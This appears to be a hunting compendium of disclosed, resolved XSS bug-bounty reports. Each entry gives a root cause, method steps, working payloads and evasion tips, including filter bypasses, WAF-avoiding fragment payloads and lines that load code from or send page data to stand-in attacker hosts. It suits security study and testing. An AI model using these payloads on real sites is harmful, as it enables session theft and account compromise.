Insight — Privilege-crossing stored XSS: low/no-priv customer input surfaces as a clickable href in a high-priv admin view. Hunt for any customer-controlled value (referer, note, custom property, filename) that admins later render as a link, and test javascript:/data: URIs in href sinks.
Real-world example
Stored XSS via profile field consumed unescaped inside a Flash widget
◆ Info
Specimen #87577 · vimeo · awarded · 4 votes · resolved
Program vimeoSurface web
Root cause
A stored profile field (Name) is passed into a Flash SWF (hubnut.swf) that renders it without escaping; the value is interpreted as HTML/markup inside Flash, allowing an <img> tag that loads an attacker-controlled external SWF -> arbitrary script in the origin.
Method
- Change profile Name to an <img src> pointing at an attacker SWF
- Save profile
- Load the hubnut widget URL (player.vimeo.com and vimeo.com both render it)
- External SWF loads and executes in the vimeo origin
Profile Name = <img src="//attacker.tld/xss.swf">
Insight — Data sinks are not only HTML pages: stored profile fields piped into Flash/canvas/legacy widgets may be rendered without escaping there. Enumerate every consumer of a stored field, including embeds hosted on sibling domains (player.* vs www.*).
Real-world example
Flash XSS via SWF FlashVars / ExternalInterface breakout
◆ Info
Specimen #21150 · mavenlink · awarded · 4 votes · resolved
Program mavenlinkSurface web
Root cause
A SWF reads a FlashVar (movieName / onload) and passes it unsanitized into ExternalInterface.call, which emits it into the page's JavaScript; a crafted value breaks out of the generated JS and executes arbitrary script. Works cross-browser regardless of the app's own filters.
Method
- Find a hosted SWF that accepts params (swfupload.swf, storage.swf, uploader/player SWFs)
- Pass a FlashVar that breaks out of the ExternalInterface-generated JS
- Load the SWF URL directly
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
--- variant (#9522 polldaddy storage.swf) ---
storage.swf?onload=alert(1)
Insight — Legacy SWFs (swfupload, storage.swf, uploadify, JW/flowplayer) are a distinct XSS surface: any FlashVar flowing into ExternalInterface.call is a JS-injection sink. Grep the corpus/site for *.swf and fuzz movieName/onload/callback params. Fix is whitelisting [A-Za-z0-9].
Real-world example
Stored/reflected XSS via crafted filename
◆ Info
Specimen #2625 · slack · awarded · 4 votes · resolved
Program slackSurface webTag file-upload
Root cause
An uploaded file's name is rendered without output encoding, either in the file listing/title (stored) or in an upload-rejection error message (reflected); a filename containing HTML executes when displayed.
Method
- Upload a file whose name is an XSS payload
- View the file listing / open the file title (or trigger a rejection error that echoes the name)
- Filename markup executes
Filename: "><img src=x onerror=alert(1);>.jpeg
--- reflected-in-error variant (#81757 Shopify livechat) ---
Upload disallowed type named: <img src="c" onerror=alert(1)> -> echoed in 'not allowed to upload' message
--- profile-photo variant (#49513 Airbnb) ---
JPEG uploaded as profile photo, filename: "><img src='x' onerror=alert(document.cookie)>
Insight — Filenames are user input. Test XSS payloads as filenames on every upload, and note that even REJECTED uploads can fire if the error message reflects the name unescaped. Works for avatars/profile photos where only the name (not content) is the sink.
Real-world example
Email-to-app stored XSS (subject/body/from-name rendered in web client)
◆ Info
Specimen #7919 · respondly · none · 4 votes · resolved
Program respondlySurface web
Root cause
Inbound email content (Subject line, HTML body, sender/full name) is rendered in a web-based shared inbox/helpdesk without sanitization; an attacker who can send email to the team address stores XSS that fires for support agents.
Method
- Send an email to the team/helpdesk address
- Put the payload in the Subject (or an <a href=javascript:> in the HTML body)
- Agent opens the message in the web client -> XSS
Subject: "><img src=x onerror=alert(document.cookie);>
--- body javascript: link variant (#8010) ---
<a href="javascript:alert(0)">click</a> viewed in original-HTML mode
--- profile-name-into-email variant (#114879 Zomato) ---
Profile 'full name' = <img src="//x" onload=alert(1)> -> injected into 'X just followed you' notification email subject/body
Insight — Any pipeline that renders externally-supplied email in a web UI (support desks, notification emails, shared inboxes) is a stored-XSS surface reachable by simply sending mail. Also test fields that FEED emails (display name), and check for inconsistent validation: #114879 was filtered at registration but NOT at profile edit.
Real-world example
Stored XSS via <textarea> breakout in a settings/preference field
◆ Info
Specimen #2926 · slack · none · 4 votes · resolved
Program slackSurface web
Root cause
A preference value (highlight words) is reflected inside a <textarea>; closing </textarea> escapes the RAWTEXT context and permits arbitrary script.
Method
- Set the preference field to a </textarea> breakout payload
- Save preferences
- Reload the settings page -> value reflects inside textarea and executes
</textarea><script>prompt(document.cookie);</script>
Insight — Values echoed back into <textarea> (settings forms are full of these) look safe but need a </textarea> breakout. Whenever a saved setting is redisplayed in a form field, test the RAWTEXT/attribute breakout for that specific element.
Real-world example
Stored XSS via chat/IRC protocol command rendered by web client
◆ Info
Specimen #7441 · irccloud · awarded · 4 votes · resolved
Program irccloudSurface web
Root cause
A web-based IRC client renders protocol-supplied strings (ban masks, nicks, topics) without HTML-encoding; an operator issuing /ban <script>...</script> injects markup that executes in every connected user's browser.
Method
- Be an operator in a channel
- Issue /ban <script>alert(2)</script>
- The ban mask is rendered unescaped in the channel view for all connected web clients -> JS executes for every user
/ban <script>alert(2)</script>
Insight — Web front-ends over external protocols (IRC, XMPP, SMTP, MQTT) must encode every protocol-supplied token. Test nick, topic, ban/kick reason, CTCP, and server-notice fields. Impact is mass (all viewers), like a worm vector.
Real-world example
Stored/DOM XSS via rich-text editor mode toggle (WordPress/TinyMCE)
◆ Info
Specimen #81736 · automattic · awarded · 4 votes · resolved
Program automatticSurface web
Root cause
Markup typed into the editor's Text (HTML) tab is not sanitized when the user switches to the Visual tab; TinyMCE renders it live, executing injected event-handler tags.
Method
- Open post editor, select the Text (HTML) tab
- Paste an event-handler payload
- Switch to the Visual tab -> TinyMCE renders it and the handler fires
<HTML xmlns: ><audio><audio src=wp onerror=alert(0X1)>
Insight — WYSIWYG editors sanitize on submit but often render live on the client when toggling Text<->Visual (or on paste/preview). Test the mode-switch and preview flows, and use tags that fire without src (audio/video/img onerror, details/ontoggle).
Real-world example
Reflected XSS via password field echoed on confirmation page
◆ Info
Specimen #7890 · localize · none · 4 votes · resolved
Program localizeSurface web
Root cause
The password value submitted at signup is reflected unescaped on a post-signup 'view your password' confirmation page, allowing script execution via a password containing HTML.
Method
- Register with an XSS payload as the password
- Get forwarded to the confirmation page
- Click 'view password' -> payload executes
Password field: "></code><svg/onload=prompt(1)>
Insight — Sensitive inputs (password, PIN, security answer) are rarely tested for reflection but are sometimes echoed on confirmation/summary pages. Fuzz them too, especially post-signup, password-change, and 'review your details' screens.
Real-world example
Stored HTML-injection XSS in display fields (title/name/tag/description)
◆ Info
Specimen #95564 · imgur · awarded · 4 votes · resolved
Program imgurSurface web
Root cause
User-controlled display strings (image title, class/collection name, tag, file description, advertiser name) are stored and later rendered without output encoding, so an HTML/tag-breakout payload executes when the object is viewed.
Method
- Set a title/name/tag/description field to a tag-breakout payload
- Save
- View the page that renders the field (sometimes a different feature than where it was entered)
"><img src=x onerror=alert(document.domain)>
<marquee><font size=72>XSS (renders without breakout where the value is already in text content)
Insight — The bread-and-butter stored XSS: enumerate every field whose value is echoed back into an HTML page and test tag breakout. Watch for second-order rendering where the payload fires in a DIFFERENT feature (#62427: a collection name executes in the tax-override DELETE flow).
Real-world example
DOM XSS via vulnerable jQuery prettyPhoto plugin (hash sink)
◆ Info
Specimen #125498 · uber · awarded · 4 votes · resolved
Program uberSurface web
Root cause
The prettyPhoto jQuery gallery plugin reads the URL fragment (location.hash) as prettyPhoto[gallery]/index,markup and injects the markup into the DOM without sanitization, giving fragment-driven DOM XSS on any page loading the plugin.
Method
- Identify a page including prettyPhoto.js (look for jquery.prettyPhoto in source)
- Append a crafted #prettyPhoto[...] fragment carrying HTML markup
- Payload executes purely client-side from the hash, no server round-trip
http://TARGET/#prettyPhoto[i]/x,<svg/onload=alert(document.domain)>/x
http://TARGET/#prettyPhoto[gallery]/1,<a onclick="alert(document.domain);">/
Insight — Fingerprint outdated JS libraries/plugins (prettyPhoto, etc.) and test their documented DOM-XSS sinks; the fragment (#) never reaches the server so WAFs and server-side filters are irrelevant.
Real-world example
Stored XSS via chat/DM group name field
◆ Info
Specimen #129436 · x · awarded · 4 votes · resolved
Program xSurface web
Root cause
A user-controlled group/conversation name is rendered unescaped in another user's UI; the payload fires not on the naming page but when a secondary action (sharing a tweet into the group) renders the name.
Method
- Create a DM group and set its name to an unterminated script payload
- Trigger the render path (any user shares/receives content in that group)
- Payload executes in the victim's session context
<script>alert(1);//
Insight — Test container/group/room name fields that are echoed to OTHER users and on secondary render paths (notifications, shared content), not just the immediate create form; trailing // comments out the rest of the line to keep injected script valid.
Real-world example
Reflected XSS via JSONP callback parameter (+ data exfil)
◆ Info
Specimen #138262 · eternal · none · 4 votes · resolved
Program eternalSurface webChain Reflected XSS -> exfiltrate victim email/PII from same JS
Root cause
A JSONP endpoint reflects the user-supplied callback parameter into the response body without validating it as a JS identifier, so arbitrary HTML/JS injected in callback is reflected; the same endpoint also exposes authenticated user data.
Method
- Find a JSONP/relay endpoint with a callback (or jsonp/cb) parameter
- Set callback to HTML markup instead of a function name
- For authenticated victims, inject an <img src=attacker> to exfiltrate the page's sensitive body content
https://TARGET/php/instagram_tag_relay?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E
https://TARGET/php/instagram_tag_relay?callback=><img+src=https://COLLAB/?
Insight — Always fuzz callback/jsonp/cb params with HTML rather than only alphanumeric function names; JSONP endpoints frequently double as unauthenticated-looking data sinks that leak PII when the victim is logged in.
Real-world example
Stored XSS via JSON attribute/object-key name
◆ Info
Specimen #156387 · algolia · awarded · 4 votes · resolved
Program algoliaSurface web
Root cause
An object attribute NAME (JSON key) supplied in a data record is rendered unescaped in the dashboard's faceting/display settings and in downstream public demos, so the key itself becomes the XSS vector.
Method
- Create a data record whose KEY (not value) is an HTML payload
- In the dashboard select that attribute under 'Attributes for Faceting' and save
- Payload fires in the dashboard, the explorer, and any public UI/demo that lists attribute names
{"<img src=1 onerror=alert(document.domain)>": "XSS attribute"}
Insight — Test object/JSON KEYS, column headers, and metadata identifiers as XSS sinks, not only field values - devs escape values but forget keys; stored key XSS often propagates into multiple admin and public views.
Real-world example
Reflected XSS via unsanitized value echoed in error/exception message
◆ Info
Specimen #177943 · expressionengine · none · 4 votes · resolved
Program expressionengineSurface web
Root cause
An invalid sort_col parameter is echoed verbatim into an exception message ('Unknown field <input>') rendered as HTML, so any invalid input reflected in the error page becomes reflected XSS.
Method
- Send a parameter with an invalid value that triggers a server error/exception
- Check whether the error page echoes the raw input (field names, unknown-value messages)
- Inject markup that breaks out of the surrounding tag
admin.php?/cp/members/bans&sort_col=me%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3Ember_id&sort_dir=desc
Insight — Deliberately supply INVALID values (bad field/sort/type names) to surface error pages - verbose exception handlers frequently echo the offending input unescaped, a reliable reflected-XSS sink distinct from the normal happy path.
Real-world example
Stored XSS in Concrete5 RSS feed title (pfTitle)
◆ Info
Specimen #221380 · concretecms · none · 4 votes · resolved
Program concretecmsSurface web
Root cause
The RSS Feed title parameter pfTitle is stored without sanitization and rendered unescaped on the dashboard feeds listing, giving stored XSS that fires for any user visiting the feeds admin page.
Method
- Log in and add a new RSS feed (dashboard/pages/feeds/add)
- Set the title to a tag-breaking SVG payload
- Any visit to dashboard/pages/feeds executes the stored payload
POST /index.php/dashboard/pages/feeds/add_feed
ccm_token=...&pfTitle=%22%3E%3Csvg%2Fonload%3Dconfirm%28document.domain%29%3E&pfHandle=cdl&...
Insight — Admin-only content-management fields (feed titles, page names, block config) are commonly unescaped on their own listing pages; svg/onload is a compact, filter-resistant tag-breakout payload.
Real-world example
DOM XSS via URL fragment reflected into event handler
◆ Info
Specimen #33091 · x · USD 1400 · 3 votes · resolved
Program xSurface web
Root cause
Client-side code reflects the URL fragment/hash into an HTML attribute context, allowing an onmouseover handler to be injected.
Method
- Append the payload after # so it stays client-side
- Client JS writes the fragment into an attribute
- onmouseover fires on interaction
https://TARGET/small-business-guide/# onmouseover=alert('XSS')
Insight — Fragment-based DOM XSS never reaches the server (nothing to log/WAF); trace client sinks that read location.hash and write to innerHTML/attributes.
Real-world example
XSS via nested custom-markup parser (meme macro auto-linkify)
◆ Info
Specimen #18691 · phabricator · USD 1000 · 3 votes · resolved
Program phabricatorSurface web
Root cause
A custom markup macro ({meme, src=...}) auto-linkifies the src value; nested parsing mangles syntax so an attacker can smuggle an onerror handler into the generated <img>.
Method
- In any editor supporting the meme macro, use a src with an embedded handler
- Auto-linkify + nested parse produces an img with onerror
- Save -> stored XSS
{meme, src= http://dummy//onerror=eval(prompt(1))// }
Insight — Custom BBCode/markdown/macro parsers that auto-linkify or nest transformations are rich XSS ground; probe how the parser reassembles attributes and use // as a space substitute.
Real-world example
JS execution inside link-preview (Twitter Card) iframe + parent redirect
◆ Info
Specimen #46818 · x · USD 560 · 3 votes · resolved
Program xSurface web
Root cause
A link-preview/oEmbed card renders attacker-controlled page content in an iframe where injected script runs; script can navigate the parent window via top.window.location.
Method
- Host a page whose card/preview content contains a script
- Share the URL so the platform renders the card
- Script executes in the card iframe and redirects the top window
<script>top.window.location.href="https://google.com.tr"</script>
Insight — Link-preview / oEmbed / card renderers that embed remote content in an iframe can execute attacker JS; even sandboxed, top-navigation enables redirect/phishing. Test what your controlled page's card iframe is allowed to do.
Real-world example
Sanitizer bypass: markup after a newline is not sanitized (pastebin)
◆ Info
Specimen #7121 · irccloud · USD 500 · 3 votes · resolved
Program irccloudSurface web
Root cause
The paste HTML sanitizer only processes/escapes content up to the first newline; anything after \r\n is emitted raw, so a script tag on a later line executes.
Method
- Create a paste with a leading line then a newline then the payload
- Sanitizer misses the post-newline content
- Stored XSS fires when the paste is viewed
\r\n<script>alert(1);</script>
Insight — Line-oriented or first-match sanitizers often only clean the first line/token. Always test payloads preceded by newlines, nulls, or benign prefixes to slip past incomplete sanitization.
Real-world example
Stored XSS via CSV product-import fields rendered in admin
◆ Info
Specimen #67125 · shopify · USD 500 · 3 votes · resolved
Program shopifySurface webTag file-upload
Root cause
Fields from an imported CSV (Handle/Title/Vendor/Type/Tags/Option values) are stored and later rendered in the admin UI without encoding, so markup in a CSV cell executes for admins.
Method
- Craft a product-import CSV with img onerror in the text columns
- Import via /admin/products Import Products
- View products / bulk-edit page -> stored XSS for the admin
# CSV cell values (Handle, Title, Vendor, Type, Tags, Option names/values):
><IMG SRC=x onerror=prompt(7)>
Insight — Bulk-import features (CSV/XLSX) are stored-XSS vectors because imported cells are trusted and echoed into privileged admin views. Put markup in every text column and check the products list AND downstream editors.
Real-world example
Stored XSS via profile/name field echoed across the app
◆ Info
Specimen #63537 · mavenlink · awarded · 3 votes · resolved
Program mavenlinkSurface web
Root cause
A user-controlled identity field (account/display name) is stored once and rendered unescaped in many secondary surfaces (snapshots, sharing dialogs, other users' pages, notifications), so one payload fires wherever the name is later shown.
Method
- Set the account/display name to an HTML-attribute-breakout payload
- Trigger a surface that renders the name (e.g. save a Gantt snapshot -> the 'Can be viewed by' area echoes the name)
- Payload executes there, often for other viewers of that object
"><img src=x onerror=prompt(31)>
Insight — Identity fields (name, username, comment, invite email, tweet/message body) are high-value stored sinks because they are re-displayed in dozens of unaudited places; set the payload once and hunt every surface that reflects your name. Some surfaces (public profiles) render it to unauthenticated victims.
Real-world example
Reflected XSS via URL param/path attribute-tag breakout
◆ Info
Specimen #97938 · imgur · awarded · 3 votes · resolved
Program imgurSurface web
Root cause
A URL parameter or path segment is reflected into HTML without output encoding, letting the attacker close the current tag/attribute and inject a new element with an event handler.
Method
- Find a value reflected into the page (search box, path segment, generic query param, error/timeout page)
- Break out of the current context with "> and inject an img/svg with onerror/onload
- If reflected inside an existing attribute, skip the > and inject a new event-handler attribute instead
http://m.imgur.com/gallery/iT5l7"><img src=x onerror=alert(1)>
# inside-attribute variant (no quote breakout needed):
"onmouseover=alert(1)>
Insight — Reflected sinks are everywhere: search fields, path suffixes before an extension, thumbnailer params, and even 5xx/timeout error pages that echo the requested URL. Probe with a canary, read the raw response to see the exact context, then choose full tag-breakout ("><img>) vs new-attribute injection ("onmouseover=).
Real-world example
Stored XSS via unescaped uploaded filename
◆ Info
Specimen #81441 · shopify · awarded · 3 votes · resolved
Program shopifySurface webTag file-upload
Root cause
The uploaded file's name is rendered back into HTML (success message, file manager, properties/delete page) without encoding, so an HTML payload embedded in the filename executes as stored XSS.
Method
- Upload any file but set its name to an XSS payload
- If the UI blocks weird filenames, intercept the multipart upload request and edit the filename field directly
- Payload fires wherever the filename is later displayed (success span, file listing, other users' file manager)
<svg onload=alert(1)>
# renders as: <span class="file-name"><strong>Success:</strong> <svg onload="alert(1)"/></span>
# filename variants also seen:
"><svg onload=confirm(document.cookie)>.txt
"><img src=0 onerror=confirm(document.cookie)>.txt
Insight — Treat the filename (and file 'title'/description) as an injection vector, not just the file contents. Any place that lists uploaded files -> file managers, download apps, admin dashboards -> is a candidate stored-XSS surface, and it often fires for other/admin users.
Real-world example
Reflected XSS by breaking out of inline <script> JS-string context
◆ Info
Specimen #17540 · irccloud · awarded · 3 votes · resolved
Program irccloudSurface web
Root cause
User input is reflected between <script> tags inside a JS string literal without escaping, so instead of injecting tags you terminate the string/statement and inject JavaScript directly.
Method
- Identify input reflected inside inline JavaScript (view source, find your canary between <script>...</script>)
- Close the string and statement, run your code, then comment out the trailing syntax
- Alternatively close the whole script/style block and open a new <script>
# input reflected inside a JS string:
";alert(0);//
# input reflected inside a JS function call arg:
, alert(123));//
# blunt block-closing variant:
?'"--></style></script><script>alert(1337)</script>
Insight — When your canary lands inside JS (not HTML), tag payloads won't fire but string-breakout will. This class often bypasses browser XSS auditors/WAFs because there is no <script> tag being injected in the URL. Always check whether the reflection is in HTML, an attribute, or JS before picking a payload.
Real-world example
XSS via postMessage handler that opens attacker-controlled URL
◆ Info
Specimen #29328 · x · awarded · 3 votes · resolved
Program xSurface web
Root cause
A cross-origin message handler (postMessage / FlashTransport) takes a URL from the message and navigates/opens it without validating the scheme, allowing a javascript: URI to run in the frame's origin.
Method
- Embed the target widget/iframe (e.g. platform.twitter.com/widgets/hub.html)
- Wait for its ready signal, then postMessage a command whose URL param is a javascript: URI
- The handler opens it (popup or on user interaction) -> XSS in the widget's origin
win.postMessage('{"id": 12, "method": "openIntent", "params":["javascript:alert(document.domain)"]}', "https://platform.twitter.com/")
Insight — Audit every window.addEventListener('message',...) handler: if it routes a message-supplied URL into location/window.open/href without a scheme allowlist, javascript: gives you XSS. Widget/SDK hub pages that expose an RPC-over-postMessage API are prime targets.
Real-world example
Referer-gated reflected XSS with self-generated Referer and event-handler injection
◆ Info
Specimen #48516 · x · awarded · 3 votes · resolved
Program xSurface web
Root cause
A parameter (original_referer) is reflected unescaped into a hidden field's value, but only honored when the request's Referer is same-site; tag characters are filtered so the payload injects extra attributes/event handlers into the existing tag.
Method
- Send victim the intent link with the injected original_referer; the page renders a dialog whose hidden 'referer' field contains the payload and whose Referer is now the intent page itself (same-site)
- When the victim clicks 'Return to previous site', the page reloads with a valid same-site Referer, so original_referer is now honored and reflected
- Because < > are filtered, inject whitespace-separated on*= event handlers into the attribute so one of dozens fires (onerror/onmouseover/etc.)
original_referer=%20style%3Dfont-size%3A1000%3Bonautocompleteerror%3Dalert(0)%20onmouseover%3Dalert(0)%20onerror%3Dalert(0)%20onclick%3Dalert(0)%20... (spray of every on*=alert(0) handler)
Insight — Two reusable tricks: (1) when a reflection is gated on a same-site Referer, drive the vulnerable feature itself to produce that Referer instead of fighting t.co/redirect strippers; (2) when angle brackets are filtered but you are already inside a tag/attribute, inject a large set of event-handler attributes plus a giant style (font-size:1000) so a trivial mouse movement triggers one.
Real-world example
javascript: URI in href obfuscated with HTML entities and mixed case
◆ Info
Specimen #13703 · automattic · none · 3 votes · resolved
Program automatticSurface web
Root cause
A user-supplied href is placed into an anchor without validating the URL scheme; a javascript: URI encoded with HTML entities and alternating case bypasses naive scheme blacklists and executes on click.
Method
- Find a sink that lets you control an href/link target (note body, comment, profile link)
- Supply a javascript: URI with the colon/parens as HTML entities and randomized case
- Victim clicks the rendered link -> script runs
<a href="jAvAsCrIpT:prompt(document.cookie)">CLICK ME TO PROMPT</a>
Insight — When a filter blocks the literal string 'javascript:', HTML-entity-encode the colon (:) and parentheses (( )) and mix case; the HTML parser decodes entities before the URL is used, so the scheme check is bypassed but execution still works. Applies to any href/src/formaction sink.
Real-world example
Sanitizer that unescapes already-escaped entities (Rails strip_tags, CVE-2015-7579)
◆ Info
Specimen #81396 · rails · none · 3 votes · resolved
Program railsSurface web
Root cause
Rails::Html::FullSanitizer (Action View strip_tags) decoded already-escaped HTML entities in its output; if that output is later marked html_safe/raw, the decoded <script> re-appears and executes.
Method
- Send already-escaped markup through strip_tags: strip_tags("<script>alert('XSS')</script>")
- Vulnerable versions return the decoded "<script>alert('XSS')</script>"
- If rendered via raw/html_safe, XSS fires
strip_tags("<script>alert('XSS')</script>") # -> <script>alert('XSS')</script> on rails-html-sanitizer 1.0.2
Insight — A sanitizer is not automatically output-safe: some 'strip' routines decode entities, so passing pre-encoded input round-trips it back to live markup. When auditing, test sanitizers with double-encoded/pre-escaped payloads and check the exact library version (rails-html-sanitizer 1.0.2 affected, fixed 1.0.3).
Real-world example
XSS via JSON endpoint served with Content-Type text/html
◆ Info
Specimen #62400 · udemy · awarded · 3 votes · resolved
Program udemySurface webChain Stored input (lecture title) -> SWF-triggered request to
Root cause
An endpoint returns JSON containing attacker-controlled data but sends Content-Type: text/html, so the browser renders embedded HTML/script tags from the JSON body.
Method
- Store a payload in a field that is echoed by a data/export endpoint (here a lecture 'title' via /asset/add-submit)
- Load the export endpoint (asset/export.html) directly, or let a client (SWF player) fetch it
- Since the response is text/html, injected tags in the JSON render and execute
# stored via:
type=Presentation&title="><svg/onload=javascript:alert(2);>...&isSubmitted=1
# fired by loading:
https://www.udemy.com/asset/export.html?displayType=json&uaid=...
Insight — Check the Content-Type of any JSON/AJAX/export/callback endpoint: if it's text/html (or missing X-Content-Type-Options: nosniff) and contains reflected/stored input, injected markup renders. Endpoints consumed by Flash/SWF or downloaders are often overlooked.
Real-world example
DOM XSS via location.hash sunk into HTML by outdated Visual Composer addon
◆ Info
Specimen #119453 · veris · none · 3 votes · resolved
Program verisSurface web
Root cause
Client-side JavaScript (Ultimate_VC_Addons / Visual Composer smooth-scroll) reads location.hash and writes it into the DOM as HTML without sanitization, so the fragment executes without any server round-trip.
Method
- Load the page with the payload in the URL fragment (after #)
- Vulnerable min-js reads location.hash and inserts it into an HTML sink
- Payload executes purely client-side
https://TARGET/?#<img src=x onerror=alert(1)>
Insight — Fingerprint front-end libraries: outdated WordPress Ultimate_VC_Addons/Visual Composer (ultimate.min.js) sinks location.hash into innerHTML-style sinks -> a well-known DOM-XSS. When you see this plugin, test #<img src=x onerror>. Generally, grep loaded JS for location.hash/location.href flowing into html()/innerHTML.
Real-world example
Reflected XSS in form action attribute via redirect-bypass of query encoding
◆ Info
Specimen #111365 · automattic · awarded · 3 votes · resolved
Program automatticSurface webChain open redirect -> raw payload delivery -> reflected XSS
Root cause
A URL query string is reflected unescaped into a form's action attribute; the server normally encodes typed query strings, so the attacker uses an intermediate redirect that supplies the raw (undecoded) payload to the page.
Method
- Host a redirector that 302s to the target with the raw payload in the query string
- The redirect delivers unencoded quotes/brackets that the target reflects verbatim into <form action=...>
- Payload closes the attribute/tag and injects script
# reflected sink:
<form class="search" action="/product-category/woocommerce-extensions/?23946\"><script>alert(1)</script>0a7f2=1">
# delivered via redirect:
http://ATTACKER/r.php?url=http%3A%2F%2Fwww.woothemes.com%2F...%3F%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Insight — When the app URL-encodes payloads you type directly in the address bar, route the victim through an open redirect / attacker redirector: the second-hop request can carry raw characters the target reflects unencoded. Also remember the form action attribute is a reflected-XSS sink, not just page body.
Real-world example
Stored XSS bypassing client-side maxlength, propagating through transaction records
◆ Info
Specimen #42161 · enter · awarded · 3 votes · resolved
Program enterSurface webChain Stored name/description -> rendered in counterparty's tra
Root cause
Wallet name and transfer description are stored and rendered unescaped across multiple views (send form, transaction list, single-transaction details), and the only length limit is a client-side maxlength attribute.
Method
- In wallet settings remove the maxlength="30" attribute from the name input (client-side only)
- Set the wallet name and a transfer description to script payloads
- Make an internal transfer; XSS fires in from/to account names and description on the send form, transaction history, and transaction-detail page
asdf'"><script>alert(1)</script>
# description field:
desc<script>alert('xss in description')</script>
Insight — Client-side maxlength/validation is not a security control: edit the DOM or intercept the request to submit an oversized payload. Stored values in financial/transaction objects propagate to every party's view (sender, recipient, and plausibly the admin panel), maximizing blast radius.
Real-world example
IE-only reflected XSS via null-byte tag name + location.hash sink
◆ Info
Specimen #127259 · owncloud · none · 3 votes · resolved
Program owncloudSurface web
Root cause
User input reflected into HTML lets an attacker break out of a form/div/script context; legacy IE tolerates NUL bytes inside tag names, defeating naive server/WAF filters that key on the literal string 'script'.
Method
- Reflect payload into the page via the action[][] parameter
- Break out of surrounding </form></div></script> then open a <script> whose tag name contains %00 null bytes to evade filters
- Use document.location.href=location.hash.slice(1) so the real JS payload rides in the URL fragment (not sent to server/WAF)
?action[][]=</form></div></script><script/%00%00v%00%00>document.location.href=location.hash.slice(1)</script>#javascript:alert(document.domain)
Insight — When a filter blocks the word 'script', try NUL bytes / junk inside the tag name in IE; and stash the executing payload in the #fragment via location.hash so it never reaches server-side filters or logs.
Real-world example
Reflected XSS via <title>/<script> breakout in a query param
◆ Info
Specimen #133963 · automattic · awarded · 3 votes · resolved
Program automatticSurface web
Root cause
A query parameter reflected inside a <title> and/or a JS block without encoding; closing those tags lets an attacker inject a fresh element.
Method
- Find a param reflected inside <title>/<script> on the page
- Close the enclosing tags (</title></script>) then inject an SVG onload payload
/website/?currency=</title></script/"-alert(0)-"--><"><svg/onload=prompt(document.domain)>
Insight — Params that feed page metadata (currency, locale, title) are often reflected in <title> and inline scripts at once; a combined title+script breakout with an <svg onload> lands in multiple contexts.
Real-world example
Reflected XSS via JavaScript single-quote string breakout
◆ Info
Specimen #143294 · eternal · none · 3 votes · resolved
Program eternalSurface web
Root cause
A parameter is reflected inside a single-quoted JS string literal (e.g. an inline analytics/config var); breaking the string with ' and using arithmetic concatenation executes code without needing any HTML tag.
Method
- Identify a param reflected inside a single-quoted JS string in inline script
- Inject '-PAYLOAD-' so the string closes, your expression evaluates, and it re-concatenates cleanly
?metro='-prompt('XSS')-'
Insight — When input lands in a JS string (not HTML), forget tags: use '-expr-' (or ";expr;//) to break the quote and evaluate. Works even where <> are encoded.
Real-world example
Reflected XSS in phpList admin (viewtemplate id param)
◆ Info
Specimen #153799 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface web
Root cause
Third-party app (phpList 3.2.5) reflects the numeric id parameter of the admin viewtemplate page into an HTML attribute without encoding.
Method
- Fingerprint the app/version (phpList on newsletter.* subdomain)
- Hit /admin/?page=viewtemplate&id=<breakout> while authenticated as admin
/admin/?page=viewtemplate&id=123"><script>alert(document.domain)</script>
Insight — Marketing/newsletter subdomains often run known third-party CMS/admin panels; fingerprint the product+version and pull known-vulnerable param XSS instead of blind fuzzing.
Real-world example
Reflected XSS into a Handlebars x-template script block data-url attribute
◆ Info
Specimen #166699 · websummit · none · 3 votes · resolved
Program websummitSurface web
Root cause
The q parameter is reflected into a data-url attribute of a <script type=text/x-handlebars-template> element without URL/HTML encoding; a single quote closes the attribute and a following tag escapes the script/template block.
Method
- Locate a param echoed into an attribute of an inline template <script> (data-url/data-target)
- Break the single-quoted attribute with ' then close with > and inject an iframe/onload
?q=rubyoob'><iframe/onload=alert(document.domain)></iframe>
Insight — SPA/handlebars pages echo the raw query into data-* attributes of client-side template <script> blocks; these are attribute-context sinks even though they live inside a <script>. Break the attribute quote, not JS.
Real-world example
Reflected XSS in POST param via attribute breakout (img onerror)
◆ Info
Specimen #643537 · kartpay · none · 3 votes · resolved
Program kartpaySurface web
Root cause
The status POST parameter is reflected inside an HTML attribute value without encoding; "> closes the attribute/tag and an <img onerror> fires.
Method
- Intercept the payment_settings save (POST /payment_settings/type)
- Set status="><img src=x onerror=alert(cookie)>
- Render the response in the browser to fire the payload
POST /payment_settings/type HTTP/1.1
Host: merchant.kartpay.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <token>
merchant_id=729&type_id=5&status=false"><img src=x onerror=alert(cookie)>
Insight — Boolean/enum POST fields (status=true/false) are often reflected into hidden HTML attributes and left unencoded; "><img src=x onerror=...> is the canonical attribute-breakout probe.
Real-world example
data: URI SVG foreignObject in image_url -> arbitrary cookie set / open redirect
◆ Info
Specimen #213991 · shopify · none · 2 votes · resolved
Program shopifySurface webTag open-redirect
Root cause
An image_url / src parameter is not restricted to real image URLs, so an attacker supplies a data:image/svg+xml URI whose SVG embeds a <foreignObject> containing XHTML with a <meta http-equiv> tag; when the SVG is rendered same-origin the meta directive executes (Set-Cookie to plant arbitrary cookies, or Refresh to redirect).
Method
- Find a field/param that stores a URL later rendered as an image or embedded resource (here manual_post[image_url])
- Intercept the update request and replace the value with a data:image/svg+xml URI containing a foreignObject with embedded XHTML
- Use <meta http-equiv='Set-Cookie' content='ppp=qqq'> to set an arbitrary cookie on the origin, or <meta http-equiv='Refresh' content='0; URL=...'> for an open redirect
- Load the page and confirm via document.cookie (or the redirect)
data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>
# open-redirect variant:
data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta HTTP-EQUIV='Refresh' CONTENT='0; URL=http://www.google.com/' /></html></foreignObject></svg>
